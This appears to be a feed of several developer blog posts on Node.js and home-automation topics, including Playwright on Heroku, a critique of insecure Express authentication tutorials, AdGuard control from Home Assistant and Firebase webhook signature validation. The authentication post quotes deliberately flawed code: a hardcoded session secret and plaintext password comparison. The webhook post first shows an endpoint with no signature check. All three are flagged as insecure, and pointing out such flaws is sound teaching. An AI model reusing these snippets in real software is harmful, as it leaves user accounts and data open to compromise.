remote:        Switching to root user to install dependencies...
remote:        Password: su: Authentication failure
remote:        Failed to install browsers
remote:        Error: Installation process exited with code: 1
remote:        npm error code 1
remote:        npm error path /tmp/build_e814256b
remote:        npm error command failed
remote:        npm error command sh -c npx playwright install chromium --with-deps
remote:        
remote:        npm error A complete log of this run can be found in: /tmp/npmcache.KPL0X/_logs/2024-05-08T06_12_14_978Z-debug-0.log

That command npx playwright install chromium --with-deps was failing because it was trying to install the browser dependencies as the root user and Heroku doesn’t allow that, and I added this as a postinstall script in my package.json file to make sure that browser dependencies are installed when the app is deployed to Heroku. However, that didn’t work out.

The solution was to install the browser dependencies via buildpacks, which is something like container images that can be layered. That meant that I also needed to use the heroku/nodejs buildpack as well, and couldn’t just leave it to only having a Procfile and default to Heroku knowing how to build the app.

And so, add to your app.json (or create one, I guess), the following buildpacks directives:

{ 
  "buildpacks": [
    {
      "url": "https://github.com/mxschmitt/heroku-playwright-buildpack.git"
    },
    {
      "url": "https://github.com/heroku/heroku-buildpack-nodejs"
    }
  ]
}

And then, you can deploy your app to Heroku and it should work. The Playwright browser dependencies should be installed and you should be able to run your Playwright tests on Heroku.

Follow-up Playwright Heroku Deployment Resources

See the official Heroku documentation for a Playwright community buildpack and an example Express Playwright repository for practical examples.

Poor Express Authentication Patterns in Node.js and How to Avoid Them

Fri, 03 May 2024 00:00:00 GMT

It’s ok to roll your own authentication if you want to build that into your Express applications, but following bad security advice is not going to end well. More often than not, I’m double-clicking into security related guides and tutorials on blogs because I’m curious at what and how other developers are teaching security topics and what they consider as best practices.

Unfortunately, I’ve come across a lot of guides that are teaching poor authentication patterns. I’ll skip the name calling but I’ll point out this was a dev.to post that was highly upvoted (279 bookmarked) and it was teaching a poor authentication pattern.

I’ll share two specific snippets that are really obvious: one related to cookie setup in an Express application and the other related to a login route handler in classic Node.js applications.

Here’s an example of a Node.js application using Express.js to implement session authentication, straight from the original blog post:

const express = require('express');
const session = require('express-session');

const app = express();

// Middleware setup
app.use(session({
  secret: 'your_secret_key',
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true, // Set the cookie as HTTP-only, Optional
    maxAge: 60*30 // In secs, Optional
  }
}));

Let’s call out the problems:

1. Hardcoded Secrets

Problem: We often see examples with sensitive information like secret keys stored directly in the code (e.g., secret: your_secret_key). I realize this is a tutorial, but it’s a bad practice to hardcode secrets in your codebase and then push it to a public repository. At least, add a reference to .env files or use a process.env.SECRET_KEY code reference to access the secret key that conveys the point about security best practice here.

Solution: Move the secret key definition to a dedicated environment variable. This allows separation of concerns and keeps sensitive information out of the codebase. You can access environment variables in Node.js using process.env.VARIABLE_NAME.

Recommended read on this topic is environment variables and configuration anti patterns in Node.js applications

Not only poor cookie configuration but also a lack of security headers in the response, and generally a lack of good security practices in cookie setup.

Consider the following cookie configuration that are completely lacking:

Secure Flag: The secure flag should be set to true to ensure the cookie is only transmitted over HTTPS connections. This mitigates eavesdropping on unsecured connections.
SameSite Attribute: The SameSite attribute helps prevent Cross-Site Request Forgery (CSRF) attacks. Setting it to strict provides the strongest protection but might require additional configuration. Consider lax as a compromise for broader compatibility.
Domain: The domain attribute specifies the domain for which the cookie is valid. By default, it’s set to the server’s domain. If your application operates on a single subdomain, set the domain to that subdomain (e.g., domain: ‘yoursubdomain.example.com’). For applications spanning multiple subdomains under the same main domain, consider using a wildcard domain (e.g., domain: ‘.example.com’). However, use caution with wildcards as they can introduce unintended behavior with third-party cookies.
Path: The path attribute specifies the path on the server where the cookie is valid. Set the path to the specific path where the cookie is needed (e.g., path: ‘/api’). This restricts the cookie’s scope and reduces the risk of exposure on unintended paths.

3. No mention of CSRF

The blog post doesn’t mention CSRF protection at all. CSRF attacks are a common threat to web applications, and it’s important to protect against them. If you are writing about a session-based authentication with cookies, you should at least mention Cross-Site Request Forgery (CSRF) as a potential threat and how propose some ways to mitigate it.

4. No mention of Session Expiration

The example sets a maxAge for the cookie, but it’s recommended to also implement server-side session expiration. This ensures sessions are invalidated even if the user’s browser doesn’t clear the cookie properly.

The following is a bad example of a login route handler in a Node.js application, however this is a copy&paste from the original blog post:

app.post('/login', (req, res) => {
  const { username, password } = req.body;
  const user = users.find(u => u.username === username && u.password === password);

  if (user) {
    req.session.userId = user.id; // Store user ID in session
    res.send('Login successful');
  } else {
    res.status(401).send('Invalid credentials');
  }
});

Let’s call out the problems here too:

1. Plain Text Password Storage

Problem: The code compares the user’s password directly with the stored password (u.password). This assumes passwords are stored in plain text, which is highly insecure.

Solution: Always hash passwords using a strong hashing algorithm like bcrypt before storing them in the database. When a user logs in, hash the provided password and compare the hash with the stored hash. This ensures even if the database is compromised, attackers cannot easily obtain user passwords.

2. Vulnerability to Timing Attacks

In the given code, if the password comparison is done character-by-character, an attacker could potentially exploit the time difference between a correct and incorrect character match. With enough attempts, they might be able to guess the password based on subtle variations in response times.

There are several ways to prevent timing attacks in password comparisons:

Constant Time Comparison: Use libraries like crypto.timingSafeEqual (built-in Node.js) to ensure the comparison takes a constant amount of time regardless of password length or correctness. These libraries perform comparisons in a way that avoids timing leaks.
Hash-Based Comparison: As mentioned earlier, always store passwords as hashes. During login, hash the provided password and compare it with the stored hash using a constant time comparison function. This eliminates the possibility of timing attacks based on character-by-character comparisons.

What else can be done?

Additional considerations include implementing rate limiting on login attempts to make brute-force attacks with timing analysis significantly slower and less effective, re-generating session ids on sensitive operations (changing a password or email), lockout mechanism after a certain number of failed login attempts to further deter attackers, and more.

More in-depth security practices concerning Node.js, authentication and secure coding in general are:

How to block LAN clients from accessing YouTube and other media with AdGuard and Home Assistant

Sat, 20 Apr 2024 00:00:00 GMT

I use Home Assistant to manage my smart home devices and AdGuard Home to block ads, lower bandwidth consumption, and generally manage DNS filters and denylists on my network. I recently wanted to block specific LAN client IPs from accessing YouTube and other media sites.

When you have kids, setting parental controls is a must :-)

Parental controls with AdGuard and Home Assistant

My Home Assistant has AdGuard installed via an add-on and I use it as my primary DNS server with the main home router pointing to it, and using DNS over HTTPS (DoH) to Cloudflare, Google and Quad9 as upstream DNS servers.

AdGuard comes with its own set of filters and client lists that you can use to block ads, trackers, and other unwanted content. More than anything else though, you can configure whats called “Persistent Client” and set them up to adhere to a specific policy, which is really handy for setting up parental controls.

Persistent clients have the following attributes and capabilities:

You can identify clients by their IP address, MAC address, or even specific tags, for example if you want to target all clients that are tagged as an Android device, or a game console.
Once identified you can assign them a policy such as:
- Use AdGuard browsing security web service
- Use AdGuard parental control web service
- Block specific services or websites such as YouTube, Facebook, Tiktok, etc.
- Maintain a scheduled-based policy, for example, block YouTube from 8 pm to 8 am
- Use a custom upstream DNS server

If all you want is to manually control the persistent client policy and managing it through the Home Assistant’s AdGuard add-on web UI then that’s all you need to do. However, if you want to automate the process and manage it through Home Assistant’s automation engine controlled via its Lovelace web dashboard, then you need to use the AdGuard Home API.

Configure AdGuard Home add-on in Home Assistant to expose the web service

By default, the AdGuard add-on only sets up port 53 for DNS. If you want to use the API you need to enable the web service in the add-on configuration.

In Home Assistant, go to Settings -> Add-ons -> AdGuard Home -> Configuration and configure it the following way:

Set ssl to disabled (unless you actually have a certfile and keyfile to use, otherwise just disable ssl)
Set port to 3000 for the 80/tcp port mapping

Then restart the add-on to apply the changes.

I recommend heading over to the Log tab on the add-on page to make sure the add-on started successfully and that the web service is running on port 3000.

Set-up a shell command in Home Assistant to interact with the AdGuard Home API

Next, edit the configuration.yaml file in Home Assistant and add the following shell command configuration:

command_line:
  - switch:
      name: Strict Entertainment Media
      unique_id: strict_entertainment_media
      command_on: 'curl -X POST -m 10000 -H "content-Type:application/json" -s -u "username:password" http://a0d7b954-adguard:3000/control/clients/update -d "{\"name\": \"Pixel 6a\",\"data\":{\"name\":\"Pixel 6a\",\"ids\": [\"1.2.3.4\"],\"tags\": [],\"upstreams\": [],\"filtering_enabled\": true,\"parental_enabled\": true,\"safebrowsing_enabled\": true,\"safesearch_enabled\": true,\"use_global_blocked_services\": false,\"use_global_settings\": true, \"blocked_services\": [\"youtube\"]}}"'
      command_off: 'curl -X POST -m 10000 -H "content-Type:application/json" -s -u "username:password" http://a0d7b954-adguard:3000/control/clients/update -d "{\"name\": \"Pixel 6a\",\"data\":{\"name\":\"Pixel 6a\",\"ids\": [\"1.2.3.4\"],\"tags\": [],\"upstreams\": [],\"filtering_enabled\": true,\"parental_enabled\": true,\"safebrowsing_enabled\": true,\"safesearch_enabled\": true,\"use_global_blocked_services\": true,\"use_global_settings\": true, \"blocked_services\": []}}"'

In the above configuration, replace username and password with the credentials you use to login to the Home Assistant web interface, and a0d7b954-adguard with your AdGuard Home add-on hostname (this shouldn’t actually change for you, but just in case, you can find it on the add-on information page). The command_on and command_off are the curl commands that will be executed when the switch is turned on or off respectively.

The setup I have here is a switch that will block YouTube for a specific client IP address (that I configured in my router to be persistent per the mac-address, so it doesn’t change with a new DHCP lease). You can modify the blocked_services array to include other services you want to block, or remove the blocked_services array to unblock all services. Notice that I also specified the client name Pixel 6a which is the name of the client in AdGuard Home Persistent Client configuration that we showed earlier. Better to create that client manually first, then you can edit it using these APIs.

Add the switch to your Home Assistant Lovelace dashboard

Now that we added the switch that fires off the API commands to block YouTube for a specific client, we can add it to the Lovelace dashboard. Edit the Dashboard, click on Add Card, go to By Entity and type in the Strict Entertainment Media switch that we created earlier (or the name you chose to give it). Once it found it, add it to the dashboard.

You can then customize the type of entity card. I used a switch card, but you can use a button card or any other card that suits your needs. It looks like this:

HTTP webhooks on Firebase Functions and Fastify: A Practical Case Study with Lemon Squeezy

Fri, 16 Feb 2024 00:00:00 GMT

I’m building a side-project on Firebase and as it usually is with overly abstracted platforms, the rudimentary things often get in the way. This step-by-step code through is how I managed to get a Fastify application to act as a Serverless Function on Firebase that is triggered upon receiving an HTTP webhook from Lemon Squeezy.

This Firebase Functions webhooks case study teaches on solving the following:

Using the Fastify web framework instead of vanilla JavaScript code for Firebase Functions
Fastify doesn’t provide access to the HTTP request’s raw body
Validating the HTTP webhook signature from Lemon Squeezy

The Lemon Squeezy use-case

Lemon Squeezy is an online merchant store provider and a payment processor and makes a good quick-to-get-running Gumroad and Stripe alternative for indiedevs.

In the project I’m building I needed to configure a webhook on Lemon Squeezy so that any time an order gets processed I can update the database entry for the user and have a record for the plans they bought.

The Firebase tech stack: Functions and Firestore

The backend tech stack on Firebase is a simple use of Firebase Functions with a deployed HTTP function trigger that validates the signature of the incoming HTTP webhook from Lemon Squeezy and create Firestore database entries with the details of the order.

Instead of building on top of vanilla JavaScript for Firebase Functions, I choose to go with the Fastify framework for the following benefits:

Better control over HTTP aspects such as adding CORS.
All API endpoints reside in one codebase but provide a modular microservice-oriented architecture with Fastify’s plugin system.
I like Fastify and it allows me to easily shift-and-lift in the future if I need to deploy this in a different infrastructure.

Phase 1: Firebase Functions on Vanilla JavaScript

The following shows a working example of a Firebase Function called lmswebhook that deploys under a route of similar name and it exports just this one function:

// The Cloud Functions for Firebase SDK to create Cloud Functions and triggers.
const { logger } = require("firebase-functions");
const { onRequest } = require("firebase-functions/v2/https");

// The Firebase Admin SDK to access Firestore.
const { initializeApp } = require("firebase-admin/app");
const { getFirestore } = require("firebase-admin/firestore");

initializeApp();

exports.lmswebhook = onRequest(async (req, res) => {
  // capture the data coming from the HTTP request
  const requestData = req.body;

  // following is an example of some of the data that exists on
  // the Lemon Squeezy webhook:
  // const orderTransaction = {
  //   type: requestData.data.type,
  //   id: requestData.data.id,
  //   customer_id: requestData.data.customer_id,
  //   identifier: requestData.data.identifier,
  //   order_number: requestData.data.order_number,
  //   user_name: requestData.data.user_name,
  //   user_email: requestData.data.user_email,
  //   status: requestData.data.status,
  //   total: requestData.data.total,
  //   created_at: requestData.data.created_at,
  //   updated_at: requestData.data.updated_at,
  // };

  // @TODO you want to change this to whatever identifier you
  // pass in the webhook via the custom fields
  const uid = requestData.uid;
  // @TODO similarly if you want to use your own unique
  // plan or order identifier
  const planId = requestData.planId;

  // The following
  const orderId = requestData.data.id;
  const userEmail = requestData.data.user_email;

  const db = await getFirestore();

  // Construct the collection path
  const docRef = db
    .collection("users")
    .doc(uid)
    .collection("plans")
    .doc(planId);

  // Use a transaction to ensure atomic update
  await db.runTransaction(async (transaction) => {
    // Get the document snapshot
    const doc = await transaction.get(docRef);

    // Create the document if it doesn't exist
    if (!doc.exists) {
      transaction.set(docRef, { orderId, userEmail });
    } else {
      // Update the document if it already exists
      transaction.update(docRef, { orderId, userEmail });
    }
  });

  return res.status(200).send();
});

You can access the Lemon Squeezy order data from the request body, but notice that there is no webhook signature verification code involved here, which means that literally anyone on the Internet can send you HTTP requests that are fake and alter your data (⚠️).

You can deploy the function with Firebase tools CLI:

firebase deploy --only functions

Phase 2: Use Fastify for the Firebase Function

Let’s update the code snippet above to introduce Fastify as the library that handles the HTTP request and reply and provides the foundational web framework needs, such as:

Adding CORS
Configuring a request and response schema
Routing middleware

Here is the revised version to include Fastify:

// The Cloud Functions for Firebase SDK to create Cloud Functions and triggers.
const { logger } = require("firebase-functions");
const { onRequest } = require("firebase-functions/v2/https");

// The Firebase Admin SDK to access Firestore.
const { initializeApp } = require("firebase-admin/app");
const { getFirestore } = require("firebase-admin/firestore");

const fastify = require("fastify")({
  logger: true,
});

fastify.addContentTypeParser("application/json", {}, (req, body, done) => {
  done(null, body.body);
});

initializeApp();

fastify.post("/lms-webhook", async (request, reply) => {
  const requestData = request.body;

  // following is an example of some of the data that exists on
  // the Lemon Squeezy webhook:
  // const orderTransaction = {
  //   type: requestData.data.type,
  //   id: requestData.data.id,
  //   customer_id: requestData.data.customer_id,
  //   identifier: requestData.data.identifier,
  //   order_number: requestData.data.order_number,
  //   user_name: requestData.data.user_name,
  //   user_email: requestData.data.user_email,
  //   status: requestData.data.status,
  //   total: requestData.data.total,
  //   created_at: requestData.data.created_at,
  //   updated_at: requestData.data.updated_at,
  // };

  // @TODO you want to change this to whatever identifier you
  // pass in the webhook via the custom fields
  const uid = requestData.uid;
  // @TODO similarly if you want to use your own unique
  // plan or order identifier
  const planId = requestData.planId;

  // The following
  const orderId = requestData.data.id;
  const userEmail = requestData.data.user_email;

  const db = await getFirestore();

  // Construct the collection path
  const docRef = db
    .collection("users")
    .doc(uid)
    .collection("plans")
    .doc(planId);

  // Use a transaction to ensure atomic update
  await db.runTransaction(async (transaction) => {
    // Get the document snapshot
    const doc = await transaction.get(docRef);

    // Create the document if it doesn't exist
    if (!doc.exists) {
      transaction.set(docRef, { orderId, userEmail });
    } else {
      // Update the document if it already exists
      transaction.update(docRef, { orderId, userEmail });
    }
  });

  return reply.code(200).send();
});

const fastifyApp = async (request, reply) => {
  await fastify.ready();
  fastify.server.emit("request", request, reply);
};

exports.app = onRequest(fastifyApp);

Let’s break this code down for the Fastify parts that make it up.

We begin by requiring Fastify and initializing it with a logger default:

const fastify = require("fastify")({
  logger: true,
});

Then, we tell Fastify that it doesn’t need to parse the HTTP request’s raw data by calling the addContentTypeParser() function, and all we do is call the done callback function with payload.body because that body property is already in JSON format.

Why do we need to do that? the HTTP layer of Firebase Functions already parses the raw HTTP requests payload based on the content type and provides the already-parsed JSON data. So we explicitly tell Fastify here that it doesn’t need to do any special parsing of its own:

fastify.addContentTypeParser("application/json", {}, (req, payload, done) => {
  done(null, payload.body);
});

Next up is our POST endpoint API route definition which should be a very familiar and straightforward example for you:

fastify.post("/lms-webhook", async (request, reply) => {
    // ...
    return reply.code(200).send();
});

Then we continue to the stock code of working with Fastify. It is a good convention with Fastify to wait until all plugins have finished loading, so we call fastify.read() and wait for the promise to resolve.

Usually, we would return the Fastify app instance (which itself, is a plugin, how cool?), but in this case on Firebase there’s no way for Fastify to bind to an IP address on a network interface. So how do we do it?

We use fastify.server.emit() to emulate an HTTP request that originates from the lower levels of Firebase Functions and push that to Fastify’s own HTTP request handling layer.

All of this put together looks as follows:

const fastifyApp = async (request, reply) => {
  await fastify.ready();
  fastify.server.emit("request", request, reply);
};

Finally, we export a Firebase Function called app and we wrap the Fastify app with Firebase’s own onRequest() function which handles all the HTTP stuff for us:

exports.app = onRequest(fastifyApp);

Phase 3: Validating the HTTP webhook from Lemon Squeezy

You’d think that validating the incoming HTTP webhook from Lemon Squeezy servers would be a straight-forward thing to do, huh?

The crux of the problem is the following:

For performance reasons, Fastify does one of two things only: it either parses the JSON and serves that to the routes on the request object, or it leaves it in its raw form for you to handle that (just like we added our own JSON parser, remember?)
The Firebase layer only provides the JSON parsed data. However, luckily for us, they already solved that problem a while back and this isn’t a problem anymore.

We address the raw body with a one-liner change:

  fastify.addContentTypeParser("application/json", {}, (req, payload, done) => {
    req.rawBody = payload.rawBody;
    done(null, payload.body);
  });

The change is to update the previous function call for request parsing to use the payload that is passed from Firebase HTTP layer (payload) so that we save the rawBody on the request object.

This then allows us to access the raw body via request.rawBody in the route handler so we can calculate the digest.

Validating the HTTP request webhook signature looks as follows:

function validateWebhookRequest(request) {
  const secret = LEMON_SQUEEZY_WEBHOOK_SECRET;
  const hmac = crypto.createHmac("sha256", secret);
  const digest = Buffer.from(
    hmac.update(request.rawBody).digest("hex"),
    "utf8"
  );
  const signature = Buffer.from(request.headers["x-signature"] || "", "utf8");

  if (!crypto.timingSafeEqual(digest, signature)) {
    throw new Error("Invalid signature.");
  }
}

In summary, there’s a fully working code example in the following GitHub repository here: https://github.com/lirantal/lemon-squeezy-firebase-webhook-fastify

Have fun indie hacking! ;-)

How To Get Social Media Previews Right on Astro blog with OpenGraph Meta Tags

Wed, 03 Jan 2024 00:00:00 GMT

So, you’ve got this fantastic website, and you’re ready to share it with the world. But wait, have you considered how it looks when someone shares it on Facebook, Twitter, LinkedIn, or even WhatsApp? This is where OpenGraph comes into play – the unsung hero of social media previews.

What is OpenGraph?

OpenGraph is not some mysterious concept from a distant galaxy; it’s a set of metadata tags that you can embed in your website’s HTML. These tags provide information to social media platforms about how your content should be presented when shared. Think of them as the backstage passes for your website’s appearance on social media.

Why OpenGraph important?

Imagine sharing a link, and instead of a beautiful preview with an eye-catching image, you get a bland, generic snippet. OpenGraph ensures that when your content is shared, it grabs attention with engaging visuals and relevant information. It’s your website’s chance to make a memorable first impression.

Example of OpenGraph Meta Tags

Here’s a sneak peek at what OpenGraph meta tags look like for Facebook, Twitter, and LinkedIn:

<meta property="og:title" content="Your Title Here">
<meta property="og:description" content="Your engaging description here. Keep it concise and intriguing!">
<meta property="og:image" content="https://yourdomain.com/path/to/your/image.jpg">
<meta property="og:url" content="https://yourdomain.com">

Using OpenGraph Meta Tags in Astro

Astro is a fantastic static site generator that I’ve been using for this blog. It’s a great way to build fast, modern websites with a minimal footprint. Astro also has a handy SEO component that makes it easy to add OpenGraph meta tags to your website.

To get started, you’ll need to install the astro-seo package:

npm install astro-seo

Then, you can add the SEO component to your Astro project’s src/components/seo.astro file. Here’s an example of how I’ve set up the SEO component for my Node.js Secure Coding blog:

---
import { SEO } from 'astro-seo';
import { SITE } from '~/config.mjs';

import defaultImageFile from '~/assets/images/nodejs-secure-coding-website-og-lightmode-v3.png';

const {
	title = SITE.name,
	description = '',

	canonical,
	noindex = false,
	nofollow = false,

	ogTitle = title,
	ogType = 'website',
} = Astro.props;

const siteBaseURL = new URL(Astro.url);
const defaultImage = new URL(defaultImageFile.src, siteBaseURL);

let { image: _image } = Astro.props;
_image = _image || defaultImage;

let image = null;
if (typeof _image === 'string') {
    image = new URL(_image, siteBaseURL);
} else if (_image && typeof _image['href'] !== 'undefined') {
    image = new URL(_image['href'], siteBaseURL);
} else {
	image = defaultImage;
}

---

<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />

<SEO
	title={title}
	description={description}
	canonical={canonical}
	noindex={noindex}
	nofollow={nofollow}
	openGraph={{
		basic: {
			url: canonical,
			title: ogTitle,
			type: ogType,
			image: _image?.src ? _image.src : defaultImage.toString(),
		},
		image: {
			url: image.toString(),
			secureUrl: image.toString(),
			alt: ogTitle,
			height: _image?.height,
			width: _image?.width,
			type: _image?.format && `image/${_image.format}`,
		},
	}}
	twitter={{
		creator: '@liran_tal',
		image: image ? image.toString() : undefined,
		imageAlt: ogTitle,
		title: ogTitle,
		site: '@liran_tal',
		description: description,
		card: image ? 'summary_large_image' : 'summary',
	}}
	extend={{
		meta: [
			{
				name: 'og:locale',
				content: 'en_US',
			},
			{
				name: 'og:description',
				content: description,
			},
			{
				name: 'og:site_name',
				content: SITE.name,
			}
		]
	}}
/>

Key Properties for Ideal OpenGraph Configuration

When setting up your OpenGraph, keep these key properties in mind:

og:image Dimensions: Optimal size is 1200x630 pixels for Facebook and LinkedIn. Twitter prefers 1200x675 pixels.
Absolute URLs: Ensure that your URLs are absolute, not relative. It’s the difference between leading someone to your front door and leaving them in the middle of nowhere.

Important WhatsApp OpenGraph Configuration

WhatsApp has its quirks, so make sure to include og:site_name as follows:

<meta property="og:site_name" content="Your Site Name">

Another thing to get right with WhatsApp previews when it comes to OpenGraph meta tags is the image size. WhatsApp prefers images under 300kb, so keep those visuals lightweight yet impactful.

Resources for Developing and Testing OpenGraph Meta Directives

Feeling a bit overwhelmed? Don’t worry; I’ve got your back with some OpenGraph generator and testing resources. Here are some tools I’ve used myself for this blog to make the OpenGraph work smoother:

Pika - Design and generate visually stunning OpenGraph previews effortlessly.
Uneed - Create captivating OpenGraph images with ease.
opengraph.xyz - Test and preview your OpenGraph configuration before unveiling it to the social media world.
placid - Provides a free open graph image generator and design.
Vercel OG Playground - Vercel hosted Open Graph playground.
og.new - A simple Open Graph image generator.
imgsrc - A rich and elegant open graph image designer available online and at your browser.
OG Image Maker - A free OpenGraph image generator tool with several templates to choose from.
Shots - A website to help create screenshots, videos and OpenGraph images for your website.

Out of the above list, I highly recommend checking out the last tool, OG Image Maker, as it is the creation of a dear friend Eddy Vinck who also bootstrapped BlogRecorder (an awesome AI powered blogging tool for bloggers) and is a fantastic tool to create OpenGraph images with ease.

Lastly, not an opengraph image designer tool, but Open Graph Examples is a great resource to get inspiration from other websites’ Open Graph visual designs.

In conclusion, OpenGraph is your website’s passport to the social media elite. With the right configuration and a touch of creativity, you can turn every share into a visual masterpiece. So, go ahead, spruce up your OpenGraph, and let your website shine in the social media spotlight!

Best Practices for Bootstrapping a Node.js Application Configuration

Tue, 31 Oct 2023 00:00:00 GMT

Bootstrapping a Node.js application often requires loading configuration, whether from environment variables, or static configuration files. In a previous article, I shared my opinions on environment variables and configuration anti patterns in Node.js applications and in this article I’d like to share my approach to avoid those anti patterns.

Traits of robust Node.js configuration

What makes a good configuration architecture for a Node.js application? Regardless if your choice is working with process.env environment variables or other mechanisms, here are some traits I personally look for when evaluating an approach for configuration management:

Async - I want to be able to load configuration asynchronously. This is especially important when loading configuration from external sources, such as a database or a remote API. However most configuration patterns I see in Node.js applications are synchronous, such as:

const config = require('./config.json')

Schema defined - I want to be able to define the types of my configuration values, and have them validated at application bootstrap, before the application is entered into a ready state. Without a schema, a Node.js app might bootstrap successfully, but fail at runtime due to a missing or invalid configuration value.
Configuration manager - I want to be able to access my configuration values from anywhere in my application, without having to expose implementation details such as the configuration file path or environment variable names. The following is an example of Node.js configuration anti-pattern:

const db = require('db')

db.connect({
  host: process.env.DB_HOST,
  port: process.env.DB_PORT,
  user: process.env.DB_USER,
  password: process.env.DB_PASSWORD,
  database: process.env.DB_NAME
})

Configuration factory - I want to be able to create multiple configuration instances, for example for different environments, or for different parts of my application. This is especially important when writing tests, where I might want to create a configuration instance with different values than the production configuration. Often the anti pattern followed by Node.js developers is to use a CJS configuration module and passing it around, which forces a singleton pattern.

Practical approach to Node.js configuration

In this second part of the article I’ll demonstrate the proposed configuration manager approach in a step-by-step process which outlines the libraries in-use, and outlines which anti-patterns to avoid.

Step 1: Use configuration data sourced from `.env` files

The first step is to load configuration data from a .env file. This is a common pattern in Node.js applications, so any of you whom are fans of the dotenv library will be familiar with this approach. However, note, I won’t be using dotenv directly.

The .env file is a simple text file, which contains key-value pairs, such as:

PORT=3000
LOG_LEVEL=debug
DB_HOST=localhost
DB_PORT=5432

Important to note:

✅ the .env file is not committed to source control
✅ the .env file is added to .gitignore (along with its permutations such as .env.local, .env.development, .env.test, etc)
✅ In production, the configuration values are sourced from environment variables, not from the .env file.
✅ I do not have any other environment designation such as .env.development, .env.test, etc. I only have a single .env file.

Step 2: Use configuration schema with `env-schema`

Configuration details are defined, validated, and enforced using a schema.

I’m using the npm package env-schema to the define the configuration schema. For example:

import EnvSchema from "env-schema";

const schema = {
  type: "object",
  required: [
    "PORT",
    "LOG_LEVEL",
    "DB_HOST",
    "DB_PORT",
  ],
  properties: {
    PORT: {
      type: "number",
      default: 3000,
    },
    LOG_LEVEL: {
      type: "string",
      default: "info",
    },
    DB_HOST: {
      type: "string",
      default: "localhost",
    },
    DB_PORT: {
      type: "number",
      default: 5432,
    },
  },
};

This allows to define configuration details and enforce:

A specific strongly typed value, such as number or string for a configuration item.
The configuration item is required, and must be present in the configuration data. Otherwise, the application crashes at bootstrap when configuration is initialized. This is a good practice, often known as fail fast.

I previously written an article titled Configuration Decoded: Lesser-Known Tips for Working with env-schema in Node.js which goes into more details about the env-schema library and how to use custom validators in env-schema.

Step 3: Use a configuration manager instead of a singleton

Node.js module system, commonly known as CommonJS (CJS), follows a singleton pattern. This means that when a module is imported, it is cached and subsequent imports of the same module return the same instance. This could lead to challenges introduced during tests, where you might want to create a new instance of the configuration for each test, with different values.

Avoid the following anti-pattern:

// config.js
const config = require('./config.json')
module.exports = config

Instead, create an abstraction wrapper around the configuration data, ideally a class, which can be instantiated multiple times and hold its state internally instead of holding it via global variables.

The following is a simple class blueprint for a configuration manager that is responsible for loading the configuration data, validating it against the schema, and returning the configuration data.

class Config {
  constructor() {
    this.config = null;
  }

  async load({ envSchemaOptions = {}, overrideConfigData = null } = {}) {

    // load configuration..
    // ..

    return this.config;
  }
}

export { Config };

Step 4: Load configuration asynchronously

It is common for Node.js applications to load configuration synchronously, because developers rely on the Node.js module system (config = require('./config')). This is also quite popular in codebases that use dotenv which recommends a similar pattern: require('dotenv').config().

There’s nothing inherently wrong with configuration data that is loaded synchronously, but as you’ve probably experienced with JavaScript, a single function’s update to asynchronous pattern (Hi async/await!) can lead to a cascading effect of code refactors across the rest of the codebase.

Therefore, I recommend to always load configuration asynchronously, even if it is a simple .env file. If in the future you’d need to load secrets via remote AWS KMS (Key Management System) or similar external resource use-cases, you wouldn’t have to pay the cost of code refactor.

Whether your choice is class-based or function-based, make sure you load configuration asynchronously. For example:

class Config {
  
  // [...]

  async load() {

    // load configuration..
    // ..

    return this.config;
  }
}

Step 4: Don’t leak configuration properties

If you use dotenv with .env files, you might be familiar with the following pattern:

// Load the configuration:
// (which really means it populates process.env with the configuration)
require('dotenv').config()

// Then later:
const dbHost = process.env.DB_HOST

No matter what, never access configuration data via process.env directly. This is a common anti-pattern in Node.js applications, and it is dangerous because it exposes the implementation details of the configuration data, such as the environment variable names. It also exposes the entire process.env object which might contain sensitive data that you don’t want to leak.

In this example, the configuration is loaded via dotenv and the configuration values are accessed via process.env. This is dangerous because the data in process.env holds more than just the configuration data, it also holds the environment variables of the current process and potentially other sensitive data that might end up leaking.

Instead, make sure that you are always forcing that the configuration data you have in the application’s state is only scoped to the configuration data that you defined in the schema, and not the entire process.env object.

If you work with the env-schema library, you get this by default when working with a defined schema. If you work with dotenv, make sure you return the config object from dotenv.config() such as:

import dotenv from 'dotenv'
const config = dotenv.config()

// your configuration data is now available via
// `config.parsed` property

Note, that config.parsed in the above configuration loading example doesn’t enforce or validated the configuration data against a schema, it only scopes the configuration data to the .env file.

Step 5: Rely on feature flags instead of environment designation

I’ve seen many Node.js applications that use environment designation to load different configuration data. For example, a .env.development file is used to load configuration data for the development environment, and then the application code makes use of this check to toggle on or off a specific feature.

Following is an example of an anti pattern that uses environment designation to toggle on or off a feature:

if (process.env.NODE_ENV === 'development') {
  apm.disable()
  tracing.disable()
}

Instead of the above, prefer feature flags. For example, the following is a better approach:

if (process.env.APP_MONITORING === 'true') {
  apm.enable()
}

if (process.env.USER_EVENTS_TRACKING === 'true') {
  productAnalytics.enable()
}

This approach promotes coding conventions that decouple your application code from the environment designation, and instead rely on feature flags. This is a better approach because it allows you to toggle on or off a feature without having to change the environment designation.

Summary

In concluding thoughts, if you are using a different library than env-schema and your own configuration wrappers by upholding the above configuration best practices then you are doing it right. My personal choice is env-schema with Fastify.

As an addendum, I also use Awilix for dependency injection and here’s how I would use it to inject the configuration manager into my application:

// Load configuration
const configManager = new Config();
const config = await configManager.load();

// Other initializations [...]

// Initialize DI
const diContainer = await initDI({ config, database });

How I Deployed Tailscale VPN to Securely Access Home Assistant Remotely

Sun, 15 Oct 2023 00:00:00 GMT

Often smart home automation enthusiasts want to access their Home Assistant instance remotely. This can be done by exposing the Home Assistant instance to the internet. However, this is not a secure way to access Home Assistant remotely and pose the risk of cyber attacks. In this article, we will see how to use Tailscale VPN to securely access Home Assistant remotely.

During these days of the war in Israel stemming from the brutal and violent terror attack of Hamas, there have been some reports of cyber attacks on Israeli citizens and their smart home devices.

בארבע לפנות בוקר הבית שלי התחיל להשתגע. תריסים עולים ויורדים בלי הפסקה, אורות נדלקים וכבים בכל רחבי הבית. האמת? די מפחיד בהתחשב בעצבים הרופפים שלנו עכשיו. הרגיש כמו בסרט כשרוחות משתלטות על הבית. פתחתי את ארונות חשמל לנסות להבין מה קורה, ניתקתי את הבקר האפליקציה של החשמל חכם…
— Liad Agmon (@liadagmon) October 13, 2023

Home Assistant Remote Access

Home Assistant is a popular open-source home automation platform. I use it myself with a range of Zigbee and Wi-Fi devices to control various electronic devices and automate scenes. More often than not, Home Assistant is a self-hosted platform that usually is installed on a Raspberry Pi or a Linux server (sometimes, containerized with Docker).

